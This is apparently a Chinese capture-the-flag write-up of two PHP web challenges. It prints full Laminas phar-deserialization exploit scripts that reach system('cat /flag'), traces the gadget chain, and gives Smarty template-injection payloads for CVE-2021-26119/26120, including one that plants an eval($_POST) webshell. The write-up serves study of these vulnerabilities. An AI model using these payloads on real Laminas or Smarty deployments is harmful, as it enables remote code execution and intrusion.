Fan website

  • 文件上传
  • php反序列化
  • laminas cve

直接有www.zip源码泄露,然后题目是关于laminas的,所以直接搜索laminas cve,就可以发现存在反序列化漏洞,但是我没找到反序列化触发的点

img

然后可以发现存在文件上传的点

img

并且还存在删除文件的点,那么就可以使用phar协议了,在百度的时候发现phar协议在unlink函数中也是可以执行的

所以直接开干

laminas cve之前没有遇到过,但是网上很多师傅都写了poc,就直接跟着其中某一个走了

但是写完exp之后发现,在文件上传的控制器里面存在过滤

img

php可以直接去掉,而后面的关键字可以利用gzip压缩绕过(感谢姜少!

网上的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

namespace Laminas\View\Renderer;
use Laminas\Config\Config;
class PhpRenderer {
public function __construct(){
$res = '';
for($i = 0;$i < 1000000;$i++){
$res .= 'ameuuameuuameuua';
}
$this->__content = $res;
$this->__helpers = new Config([]);
}
}

namespace Laminas\Config;
class Config {
public function __construct(){
$this->data = ['shutdown'=>'phpinfo'];
}
}

namespace Laminas\Log;
use Laminas\View\Renderer\PhpRenderer;
use Phar;

class Logger {
public function __construct()
{
$this->writers = [new PhpRenderer()];
}
}

$a = new Logger();
$phar = new Phar("test.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub("GIF89a".'__HALT_COMPILER();'); //固定的
$phar->setMetadata($a); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

直接上传,然后删除的时候用phar协议

img

Mrkaixin师傅的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace Laminas\View\Resolver{
class TemplateMapResolver{
protected $map = ["setBody"=>"system"];
}
}
namespace Laminas\View\Renderer{
class PhpRenderer{
function __construct(){
$res = '';
for($i = 0;$i < 1000000;$i++){
$res .= 'ameuuameuuameuua';
}
$this->__content = $res;
$this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
}
}
}


namespace Laminas\Log\Writer{
abstract class AbstractWriter{}

class Mail {
protected $eventsToMail = ["cat /flag"];
protected $subjectPrependText = null;
protected $mail;
function __construct(){
$this->mail = new \Laminas\View\Renderer\PhpRenderer();
}
}
}

namespace Laminas\Log{
class Logger{
protected $writers;
function __construct(){
$this->writers = [new \Laminas\Log\Writer\Mail()];
}
}
}

namespace {
use Laminas\Log\Logger;
$a = new Logger();
$phar = new Phar("a.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub("GIF89a".'__HALT_COMPILER();'); //固定的
$phar->setMetadata($a); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();
}

img

赛后思考

因为当时是直接用别的师傅的poc打的,只是大概地走了一遍防止poc不一致,所以现在再来仔细走一遍,试着能不能自己挖出一条(?

0x01:Logger-destruct开始

首先要找链子的入口,一般会从__construct或者__destruct开始,而Logger类里面的__destrcut存在我们可以控制的值

1
2
3
4
5
6
7
8
9
public function __destruct()
{
foreach ($this->writers as $writer) {
try {
$writer->shutdown();
} catch (\Exception $e) {
}
}
}

在这里,会调用一个shutdown方法,所以很容易就能想到可能会触发__call魔术方法,然后可以去全局搜索__call

可以在PhpRenderer发现限制比较少,并且还存在call_user_func_array函数,直接跟一下

1
2
3
4
5
6
7
8
9
10
public function __call($method, $argv)
{
$plugin = $this->plugin($method);

if (is_callable($plugin)) {
return call_user_func_array($plugin, $argv);
}

return $plugin;
}

plugin方法

1
2
3
4
public function plugin($name, array $options = null)
{
return $this->getHelperPluginManager()->get($name, $options);
}

跟踪getHelperPluginManager()方法,直接返回了$this->__helpers,显而易见这个属性是我们可以完全控制的

1
2
3
4
5
6
7
public function getHelperPluginManager()
{
if (null === $this->__helpers) {
$this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));
}
return $this->__helpers;
}

那再回去看plugin方法,发现要调用所返回的方法里面的get方法,那么可以继续去找哪里存在我们可以利用的get方法

Config-get,直接返回$this->data['shutdown']的值,也是我们可以控制的,就比如我们初始化$this->data['shutdown'] = 'phpinfo',这样会将phpinfo一直返回到call_user_func_array($plugin, $argv);,而因为shutdown方法并没有参数,所以就会直接执行phpinfo();

1
2
3
4
5
6
7
8
public function get($name, $default = null)
{
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}

return $default;
}

但是就像我说的限制一样,这里不能传入参数,只能执行某一个方法,所以不能用PhpRenderer__call,得再找找,但是找到的__call方法要么是直接返回一个名字,要么限制过多

再返回到Logger,突然想到那么直接找shutdown方法呢

只有Mail方法好像可以用,审计一下吧!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function shutdown()
{
// If there are events to mail, use them as message body. Otherwise,
// there is no mail to be sent.
if (empty($this->eventsToMail)) {
return;
}

if ($this->subjectPrependText !== null) {
// Tack on the summary of entries per-priority to the subject
// line and set it on the Laminas\Mail object.
$numEntries = $this->getFormattedNumEntriesPerPriority();
$this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
}

// Always provide events to mail as plaintext.
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));

// Finally, send the mail. If an exception occurs, convert it into a
// warning-level message so we can avoid an exception thrown without a
// stack frame.
try {
$this->transport->send($this->mail);
} catch (TransportException\ExceptionInterface $e) {
trigger_error(
"unable to send log entries via email; " .
"message = {$e->getMessage()}; " .
"code = {$e->getCode()}; " .
"exception class = " . get_class($e),
E_USER_WARNING
);
}
}

1.首先要求$this->eventsToMail不为空

2.getFormattedNumEntriesPerPriority()方法是将$this->numEntriesPerPriority 数组转成字符串并返回字符串,而搜索了一下发现没有可用的setSubject方法,所以可以直接给$this->subjectPrependText 赋值为null

3.可以找一下有没有可以利用的setBody,但是找了一圈不在,那又又又想到了__call方法,因为这次我们可以传入我们可控的参数,所以又想到了PhpRenderer__call方法,然后再用Config里面的get方法,初始化$this->data['setBody'] = 'system',然后只要我们通过修改$this->eventsToMail的值来进行命令执行就好了

0x02:Stream-destruct开始

在用别的师傅的poc之前,因为最开始看的cve说是从Stream__destruct方法开始的,然后百度和这个题目给的不大一样,原来的if判断只判断了$this->cleanup是否为空,导致再unlink的时候触发toString方法,但是其实这里的file_exits也能触发toString方法

1
2
3
4
5
6
7
8
9
10
11
public function __destruct()
{
if (is_resource($this->stream)) {
$this->stream = null; //Could be listened by others
}
if ($this->cleanup && is_string($this->streamName) && file_exists($this->streamName)) {
ErrorHandler::start(E_WARNING);
unlink($this->streamName);
ErrorHandler::stop();
}
}

所以之后找一下有没有可以利用的toString方法,然而并没有(😅

Smarty_Calculator

  • Smarty沙箱绕过
  • CVE-2021-26119
  • CVE-2021-29454

复现捏

前置知识

CVE - CVE-2021-26119 (mitre.org)

CVE-2021-26119 PHP Smarty 模版沙箱逃逸远程代码执行漏洞 - sukusec不觉水流 - 博客园 (cnblogs.com)

复现

www.zip泄露

index.php,会先判断Cookie,检测·是否登录,并且过滤了php|<|flag|?,之后直接调用Smarty#display,将data传进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function waf($data){
$pattern = "php|\<|flag|\?";
$vpattern = explode("|", $pattern);
foreach ($vpattern as $value) {
if (preg_match("/$value/", $data)) {
echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");
die();
}
}
return $data;
}

if(isset($_POST['data'])){
if(isset($_COOKIE['login'])) {
$data = waf($_POST['data']);
echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
$smarty->display("string:" . $data);
}else{
echo "<script>alert(\"你还没有登录\")</script>";
}
}

PHP Smarty模版代码注入漏洞(CVE-2021-26120)-启明星辰 (venustech.com.cn)

payload:

1
{function+name='rce(){};system("id");function%0A%0A'}{/function}

但是不能路径穿越

可以写入一句话

payload:

1
2
3
{function+name='rce(){};eval($_POST["1"]);function%0A%0A'}{/function}

?1=system('cat%20/flag');